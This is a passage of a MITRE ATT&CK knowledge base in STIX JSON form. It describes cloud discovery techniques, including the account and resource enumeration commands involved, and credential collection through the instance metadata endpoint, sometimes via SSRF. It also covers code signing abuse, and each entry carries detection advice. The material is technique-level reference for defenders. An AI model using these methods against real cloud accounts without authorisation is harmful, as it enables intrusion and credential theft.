                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-03-16T12:47:00.192Z",
            "created": "2020-01-29T17:32:30.711Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",
            "x_mitre_data_sources": [
                "User Account: User Account Creation"
            ],
            "x_mitre_contributors": [
                "Praetorian",
                "Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_platforms": [
                "Azure AD",
                "Office 365",
                "IaaS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1087.004",
                    "url": "https://attack.mitre.org/techniques/T1087/004"
                },
                {
                    "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0",
                    "source_name": "Microsoft msolrolemember"
                },
                {
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance",
                    "source_name": "GitHub Raindance"
                },
                {
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
                    "source_name": "Microsoft AZ CLI"
                },
                {
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/",
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018"
                },
                {
                    "source_name": "AWS List Roles",
                    "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
                },
                {
                    "source_name": "AWS List Users",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html",
                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020."
                },
                {
                    "source_name": "Google Cloud - IAM Servie Accounts List API",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list",
                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020."
                }
            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
            "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-16T12:54:41.133Z",
            "created": "2020-02-21T21:08:36.570Z",
            "x_mitre_contributors": [
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            ],
            "x_mitre_data_sources": [
                "User Account: User Account Metadata",
                "Command: Command Execution"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65",
            "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.",
            "name": "Cloud Accounts",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1078.004",
                    "url": "https://attack.mitre.org/techniques/T1078/004"
                },
                {
                    "source_name": "AWS Identity Federation",
                    "url": "https://aws.amazon.com/identity/federation/",
                    "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020."
                },
                {
                    "source_name": "Google Federating GC",
                    "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction",
                    "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020."
                },
                {
                    "source_name": "Microsoft Deploying AD Federation",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs",
                    "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-03-16T12:45:15.399Z",
            "created": "2020-03-13T20:36:57.378Z",
            "x_mitre_platforms": [
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Google Workspace"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1069.003",
                    "url": "https://attack.mitre.org/techniques/T1069/003"
                },
                {
                    "source_name": "Microsoft Msolrole",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0",
                    "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019."
                },
                {
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance",
                    "source_name": "GitHub Raindance"
                },
                {
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
                    "source_name": "Microsoft AZ CLI"
                },
                {
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/",
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018"
                },
                {
                    "source_name": "Google Cloud Identity API Documentation",
                    "url": "https://cloud.google.com/identity/docs/reference/rest",
                    "description": "Google. (n.d.). Retrieved March 16, 2021."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cloud Groups",
            "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)",
            "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-30T12:42:46.315Z",
            "created": "2020-02-21T21:15:33.222Z",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Group: Group Enumeration",
                "Group: Group Metadata",
                "Application Log: Application Log Content"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1580",
                    "url": "https://attack.mitre.org/techniques/T1580"
                },
                {
                    "source_name": "Amazon Describe Instance",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."
                },
                {
                    "source_name": "Amazon Describe Instances API",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html",
                    "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020."
                },
                {
                    "source_name": "Google Compute Instances",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list",
                    "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020."
                },
                {
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
                    "source_name": "Microsoft AZ CLI"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "url": "https://expel.io/blog/finding-evil-in-aws/",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cloud Infrastructure Discovery",
            "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
            "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-08T10:33:02.163Z",
            "created": "2020-08-20T17:51:25.671Z",
            "x_mitre_contributors": [
                "Praetorian"
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            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_data_sources": [
                "Instance: Instance Metadata",
                "Instance: Instance Enumeration",
                "Snapshot: Snapshot Metadata",
                "Snapshot: Snapshot Enumeration",
                "Cloud Storage: Cloud Storage Metadata",
                "Cloud Storage: Cloud Storage Enumeration",
                "Volume: Volume Metadata",
                "Volume: Volume Enumeration"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1522",
                    "url": "https://attack.mitre.org/techniques/T1522"
                },
                {
                    "source_name": "AWS Instance Metadata API",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."
                },
                {
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
                    "source_name": "RedLock Instance Metadata API 2018"
                }
            ],
            "name": "Cloud Instance Metadata API",
            "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-08T10:33:01.542Z",
            "created": "2019-09-04T14:41:32.317Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.005",
                    "url": "https://attack.mitre.org/techniques/T1552/005"
                },
                {
                    "source_name": "AWS Instance Metadata API",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."
                },
                {
                    "source_name": "Krebs Capital One August 2019",
                    "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/",
                    "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020."
                },
                {
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
                    "source_name": "RedLock Instance Metadata API 2018"
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cloud Instance Metadata API",
            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
            "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-03-31T19:41:06.948Z",
            "created": "2020-02-11T18:47:46.619Z",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Authentication"
            ],
            "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "IaaS"
            ]
        },
        {
            "external_references": [
                {
                    "external_id": "T1538",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1538"
                },
                {
                    "source_name": "Google Command Center Dashboard",
                    "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard",
                    "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019."
                },
                {
                    "source_name": "AWS Console Sign-in Events",
                    "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html",
                    "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cloud Service Dashboard",
            "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.",
            "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-16T12:56:36.098Z",
            "created": "2019-08-30T18:11:24.582Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Praetorian"
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            "x_mitre_platforms": [
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                "Office 365",
                "IaaS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1526",
                    "url": "https://attack.mitre.org/techniques/T1526"
                },
                {
                    "source_name": "Azure - Resource Manager API",
                    "url": "https://docs.microsoft.com/en-us/rest/api/resources/",
                    "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020."
                },
                {
                    "source_name": "Azure AD Graph API",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview",
                    "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020."
                },
                {
                    "source_name": "Azure - Stormspotter",
                    "url": "https://github.com/Azure/Stormspotter",
                    "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020."
                },
                {
                    "source_name": "GitHub Pacu",
                    "url": "https://github.com/RhinoSecurityLabs/pacu",
                    "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019."
                }
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cloud Service Discovery",
            "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)",
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            "modified": "2021-03-16T12:57:03.837Z",
            "created": "2019-08-30T13:01:10.120Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.",
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                "Cloud Service: Cloud Service Metadata",
                "Cloud Service: Cloud Service Enumeration"
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            "x_mitre_version": "1.2",
            "x_mitre_permissions_required": [
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            "x_mitre_contributors": [
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            ],
            "x_mitre_platforms": [
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
            "name": "Code Signing",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1116",
                    "url": "https://attack.mitre.org/techniques/T1116"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Code_signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "source_name": "Wikipedia Code Signing"
                },
                {
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "source_name": "Janicab"
                },
                {
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "source_name": "Securelist Digital Certificates"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "source_name": "Symantec Digital Certificates"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T18:59:28.671Z",
            "created": "2017-05-31T21:31:26.474Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553.002",
                    "url": "https://attack.mitre.org/techniques/T1553/002"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Code_signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "source_name": "Wikipedia Code Signing"
                },
                {
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "source_name": "Securelist Digital Certificates"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "source_name": "Symantec Digital Certificates"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Code Signing",
            "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
            "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-02-10T19:51:01.601Z",
            "created": "2020-02-05T16:27:37.784Z",
            "x_mitre_data_sources": [
                "File: File Metadata"
            ],
            "x_mitre_defense_bypassed": [
                "Windows User Account Control"
            ],
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "macOS",
                "Windows"
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        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1587.002",
                    "url": "https://attack.mitre.org/techniques/T1587/002"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Code_signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "source_name": "Wikipedia Code Signing"
                }
            ],
            "object_marking_refs": [
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            ],
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            "name": "Code Signing Certificates",
            "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
            "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf",
            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
            "modified": "2021-04-15T03:06:56.855Z",
            "created": "2020-10-01T01:41:08.652Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
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        },
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            "created": "2020-10-01T02:11:47.237Z",
            "modified": "2021-04-15T03:13:16.259Z",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
            "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",
            "name": "Code Signing Certificates",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588.003",
                    "url": "https://attack.mitre.org/techniques/T1588/003"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Code_signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "source_name": "Wikipedia Code Signing"
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
